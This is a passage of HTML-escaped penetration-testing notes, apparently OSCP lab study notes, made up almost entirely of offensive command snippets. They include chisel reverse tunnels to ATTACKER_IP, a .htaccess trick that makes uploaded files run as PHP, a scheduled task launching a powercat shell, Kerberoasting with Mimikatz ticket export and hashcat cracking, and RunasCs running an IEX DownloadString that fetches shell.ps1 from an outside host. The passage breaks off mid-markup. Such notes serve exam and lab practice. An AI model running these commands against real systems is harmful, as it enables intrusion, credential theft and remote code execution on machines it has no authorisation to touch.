class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It can forward local ports, while ligolo-ng cannot expose local services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The reason is unclear, and chisel sometimes also fails in OSCP labs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Chisel also failed to expose local ports; only an SSH tunnel worked&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It is still worth noting because local-port forwarding is important&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reverse port forwarding (forward target port 1433 to the attacker machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The above exposes a target-local port; below, a Kali port is forwarded to Windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Kali attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server -p 8000 --reverse&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chisel.exe client KALI_IP:8000 R:80:KALI_IP:80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forward a target-machine port to Kali:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↑&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Points to the target machine locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forward a Kali port to the target machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↑&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Points to Kali&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="98extracting-archives-from-the-windows-command-line"&gt;&lt;a href="#98extracting-archives-from-the-windows-command-line" class="header-anchor"&gt;&lt;/a&gt;98.Extracting Archives from the Windows Command Line&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use the built-in expand command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;expand .\nmap.zip -F:* C:\programdata\test&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use PowerShell:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the destination directory exists, add -Force:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use tar (Windows 10 or later):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -xf nmap.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Extract&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expand-Archive nmap.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="99unconventional-ideas"&gt;&lt;a href="#99unconventional-ideas" class="header-anchor"&gt;&lt;/a&gt;99.Unconventional Ideas&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Quick scan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -Pn -n 192.168.207.187 -sC -sV -p- --open&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Remember what can be uploaded through file-upload functionality&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;AddType application/x-httpd-php .dork&amp;#34; &amp;gt; .htaccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Available when a service account has lost all permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://itm4n.github.io/localservice-privileges/?source=post_page&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the required privilege list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Privs = @(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeAssignPrimaryTokenPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeAuditPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeChangeNotifyPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeCreateGlobalPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeImpersonatePrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeIncreaseQuotaPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeShutdownPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeUndockPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeIncreaseWorkingSetPrivilege&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SeTimeZonePrivilege&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the task principal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TaskPrincipal = New-ScheduledTaskPrincipal -UserId &amp;#34;LOCALSERVICE&amp;#34; -LogonType ServiceAccount -RequiredPrivilege $Privs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the command to execute (reverse-shell example)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TaskAction = New-ScheduledTaskAction -Execute &amp;#34;powershell.exe&amp;#34; -Argument &amp;#34;-ep Bypass -Command `&amp;#34;. C:\path\to\shell.ps1; powercat -l -p 7003 -ep`&amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Register and start the task&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Register-ScheduledTask -Action $TaskAction -TaskName &amp;#34;PrivEsc&amp;#34; -Principal $TaskPrincipal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-ScheduledTask -TaskName &amp;#34;PrivEsc&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On a domain host, remember to use PowerShell scripts to find SPNs and other information locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;## 1. Import the script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Get-SPN.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Find SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-SPN -type service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Request tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-Type -AssemblyName System.IdentityModel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &amp;#34;MSSQLSvc/DC.access.offsec&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Export tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Mimikatz -Command &amp;#39;&amp;#34;kerberos::list /export&amp;#34;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or export with a PowerShell command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist.exe purge&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist.exe tgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 5. Crack with hashcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 ticket.kirbi wordlist.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A lateral-movement tool for direct login with domain credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-RunasCs -Username user -Password pass -Command &amp;#34;powershell IEX(New-Object Net.WebClient).DownloadString(&amp;#39;http://x.x.x.x/shell.ps1&amp;#39;)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter-PSSession is built in and also works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;domain\user&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName target -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output above shows privileges, including disabled ones that may be enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enable privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$TokenPriv = Get-TokenPrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify that they are enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The automated method below can enable all of them directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\EnableAllTokenPrivs.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /priv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Token reference&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/gtworek/Priv2Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 